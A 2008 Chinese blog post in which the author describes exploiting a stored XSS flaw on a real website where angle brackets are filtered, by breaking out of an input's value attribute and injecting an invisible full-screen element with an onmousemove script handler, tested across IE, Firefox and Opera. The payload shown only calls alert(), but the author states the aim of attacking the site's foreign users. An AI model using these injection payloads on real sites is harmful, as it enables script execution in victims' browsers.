某网站存在一个 storeXSS 利用点如下
<input type=text value="[xsscode]">
可以使用 双引号绕过去属性限制，但是不能采用 < > 比较郁闷
开始打算
"style="kj:expression(EXP)
<input type=text value=""style="kj:expression(EXP)">
后来查了查资料！发现expression是IE 才能使用的！郁闷了！
而且要XSS的对象是老外 ，不一定会采用IE ，这样跨站攻击起来了，但是效果会大打折扣。
想想还是添加事件吧！但是，怎么触发这个事件呢！? 无奈之下让我想到恶心的利用方式，
采用style 进行绝对定位 然后透明效果 覆盖全屏幕，最后加入onmousemove事件
<input name="kj" value="kj021320" style="position:absolute;z-index:0;top:0px;width:100%; height:100%;left:0px;filter:alpha(opacity=0);-moz-opacity:0.0;opacity:0.0;" onmousemove="if(!window.k){alert(this.style.height=0);window.k=123;}">
最后测试了一下！结果IE FF2 FF3 都OK，另外令我惊喜的是 居然opera都通杀！
这个效果不错！哈！来先做个俯卧撑
发表于 @ 2008年07月20日 10:57:00|评论(loading...)|收藏